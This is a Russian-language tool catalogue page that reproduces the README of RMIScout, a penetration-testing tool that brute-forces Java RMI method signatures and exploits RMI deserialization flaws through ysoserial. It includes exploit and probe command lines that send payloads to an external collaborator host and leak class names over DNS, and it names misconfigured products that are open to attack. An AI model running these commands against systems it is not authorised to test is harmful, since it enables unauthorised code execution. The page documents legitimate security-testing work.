Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
rmiscout — RMIScout использует стратегии на основе словаря и перебора для перечисления функций Java RMI и эксплуатации уязвимостей десериализации параметров RMI. | Kitploit
Инструменты/GitHubGitHub/bishopfox/rmiscout
Сканеры уязвимостейЭксплуатацияСбор информацииФаззингТестирование на Проникновение
GitHubbishopfox/rmiscout

rmiscout

RMIScout использует стратегии на основе словаря и перебора для перечисления функций Java RMI и эксплуатации уязвимостей десериализации параметров RMI.

Репозиторий
44862475 лет назадПроверено Kitploit
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

License Python version

Описание

RMIScout позволяет проводить атаки с использованием словарей и полного перебора на открытые интерфейсы Java RMI для безопасного угадывания сигнатур методов без их вызова. Поддерживаются несколько протоколов Java RMI, вызов методов и эксплуатация.

Обзор возможностей

  • Поддержка нескольких типов серверов Java RMI:
    • RMI-JRMP (также известный как обычный RMI; обычно порт 1099): служба реестра удаленных объектов (rmiregistry)
    • Заглушки активации RMI через rmid
    • RMI-IIOP: модель программирования Java CORBA (orbd; обычно порт 1050)
      • Для IIOP требуется JRE 1.8. Из-за устаревания в более поздних средах выполнения.
    • RMI-SSL
  • Несколько режимов работы
    • Режим словаря: Проверка удаленных методов с использованием словаря сигнатур (см. прилагаемый файл lists/prototypes.txt)
    • Режим полного перебора: На основе словаря имен методов генерируются сигнатуры с различными типами параметров, их количеством и типами возвращаемых значений.
    • Использование ysoserial для эксплуатации удаленных методов с не примитивными параметрами.
Режим эксплуатации:
  • Для корректной работы ysoserial требуется запуск rmiscout в среде JRE 1.8.
  • Режим зондирования: Использование GadgetProbe для идентификации классов в удаленном classpath
  • Режим вызова: Прямой вызов удаленных методов с указанием сигнатуры и значений параметров из командной строки (поддерживаются только примитивы, массивы и строки).
  • Режим списка: Вывод доступных реестров на удаленном сервере.
  • Автоматическое переключение между RMI, RMI-SSL и заглушками активации.
  • Автоматическое выполнение обхода ограничений локального хоста (например, реестры, привязанные к @127.0.0.1:XXXX, но при этом доступные извне через XXXX).
  • Принцип работы

    Для идентификации, но не выполнения функций RMI, RMIScout использует низкоуровневые сетевые функции RMI и динамическую генерацию классов, отправляя вызовы RMI с намеренно несовпадающими типами, чтобы вызвать удаленные исключения. Все параметры заменяются динамически генерируемым сериализуемым классом с именем из 255 символов, который, как предполагается, отсутствует в удаленном classpath. Например:

    Удаленный интерфейс:

    root@kitploit:~
    void login(String user, String password)
    

    RMIScout выполнит вызов:

    root@kitploit:~
    login((String) new QQkzkn3..255 символов..(), (String) new QQkzkn3..255 символов..())
    

    Если класс присутствует, это приведет к удаленному исключению java.rmi.UnmarshalException, вызванному ClassNotFoundException или ошибкой десериализации аргументов, без выполнения базового метода.

    Более подробные технические материалы:

    • (Оригинальная статья) RMIScout: Безопасный и быстрый перебор интерфейсов Java RMI для выполнения кода
    • (Обновление RMIScout) Уроки, извлеченные при переборе RMI-IIOP с помощью RMIScout

    Режимы работы

    Режим словаря

    root@kitploit:~
    ./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
    

    Укажите словарь прототипов методов для проверки на удаленном сервере. RMIScout выведет все найденные совпадения.

    Для RMI-IIOP/CORBA: Если методы не перегружены, для перебора и вызова достаточно совпадения имен (вся остальная информация игнорируется).

    Режим полного перебора

    root@kitploit:~
    ./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
    

    Укажите словарь кандидатов имен методов, затем через запятую список кандидатов типов возвращаемых значений, диапазон количества параметров и кандидатов типов параметров. Режим полного перебора сгенерирует все перестановки и найдет совпадающие сигнатуры.

    Режим эксплуатации

    root@kitploit:~
    ./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
    

    На неправильно настроенных серверах любую известную сигнатуру RMI, использующую не примитивные типы (например, java.util.List), можно эксплуатировать, заменив объект сериализованной полезной нагрузкой. Это довольно распространенная ошибка конфигурации (например, VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server и Gemfire, Apache Karaf + Cassandra), о чем говорилось в докладе An Trinh на Blackhat EU 2019.

    RMIScout интегрируется с ysoserial для проведения атак десериализации на сервисы, неправильно настроившие общепроцессные фильтры сериализации (JEP 290).

    Примеры эксплуатируемых сигнатур:

    root@kitploit:~
    void exampleMethod(java.util.Map a) // Любые не примитивные типы
    void exampleMethod(float[] a) // Любой тип массива, даже примитивы
    void exampleMethod(String a) // Работает на старых JDK, см. ниже...
    

    Примечание: Сигнатуры, содержащие типы java.lang.String, эксплуатируемы только в JRE 8/11/13/14 до начала 2020 года в RMI-JRMP, но в RMI-IIOP остаются эксплуатируемыми до сих пор.

    Режим вызова

    root@kitploit:~
    ./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
    ./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>
    

    RMIScout позволяет вызывать любые сигнатуры с примитивами, массивами примитивов или строками. Более сложные типы потребуют написания собственного клиента.

    Режим зондирования

    root@kitploit:~
    ./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
    

    RMIScout интегрируется с GadgetProbe для идентификации классов в удаленном classpath. Имена классов извлекаются через DNS.

    Сборка и запуск

    Используйте прилагаемый скрипт rmiscout.sh для автоматической сборки проекта и как удобную обертку для синтаксиса java -jar:

    root@kitploit:~
    ./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
    

    В качестве альтернативы можно собрать проект вручную и использовать традиционный синтаксис java -jar:

    root@kitploit:~
    # Ручная сборка JAR
    ./gradlew shadowJar
    
    java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
    

    Примечание: RMI-IIOP (компиляция/выполнение) и ysoserial (выполнение) зависят от JDK8.

    Попробуйте

    Запустите демонстрационный сервер RMI в Docker. Попробуйте прилагаемый файл demo/wordlist.txt.

    root@kitploit:~
    cd demo
    ./start_demo.sh
    

    Устранение неполадок

    В: Как определить, является ли <host>:<port> реестром RMI?

    О: Используйте ./rmiscout list <host> <port>, чтобы получить информацию о реестрах на удаленном сервере.

    root@kitploit:~
    [INFO] Registries available on 127.0.0.1:1099 = [ActivationServer:com.bishopfox.example.ActivationImpl_Stub, plaintest:com.bishopfox.example.HelloInterface]
    

    Или используйте скрипт nmap rmi-dumpregistry:

    root@kitploit:~
    nmap --script rmi-dumpregistry 172.17.0.1 -p 1099 -Pn
    
    PORT     STATE SERVICE
    1099/tcp open  rmiregistry
    | rmi-dumpregistry:
    |   ActivationServer
    |     com.bishopfox.example.ActivationImpl_Stub
    |     \x00\x0EActivatableRef
    |     extends
    |       java.rmi.server.RemoteStub
    |       extends
    |         java.rmi.server.RemoteObject
    |   plaintest
    |      implements com.bishopfox.example.HelloInterface,
    |     extends
    |       java.lang.reflect.Proxy
    |       fields
    |           Ljava/lang/reflect/InvocationHandler; h
    |             java.rmi.server.RemoteObjectInvocationHandler
    |             @127.0.0.1:1111
    |             extends
    |_              java.rmi.server.RemoteObject
    

    В: Я нашел реестр на порту 1098 с именем java.rmi.activation.ActivationSystem. Что с ним можно сделать?

    О: Это демон системы активации rmid. Все его методы ограничены SecurityManager. В более новых JRE перед десериализацией любых удаленных данных проверяется, происходит ли запрос с localhost. В старых (до 2011 года) версиях такая проверка отсутствовала, и они могут быть уязвимы. См. https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb

    В: Могу ли я запустить RMIScout с более новой средой выполнения, чем JRE 8?

    О: Технически да, но многие функции перестанут работать. Поддержка CORBA, зондирование и ysoserial (режим эксплуатации) требуют JRE 8.

    В: Почему я получаю CannotCompileException?

    О: CannotCompileException возникает, когда недопустимое имя метода или прототип передается напрямую или через словарь. RMIScout генерирует байт-код для предоставленных пользователем сигнатур-кандидатов во время выполнения. Хотя RMIScout имеет базовые правила для исправления распространенных синтаксических ошибок в прототипах, иногда это может не сработать.

    Автор

    Twitter: @BumbleSec

    GitHub: the-bumble

    Скачать инструмент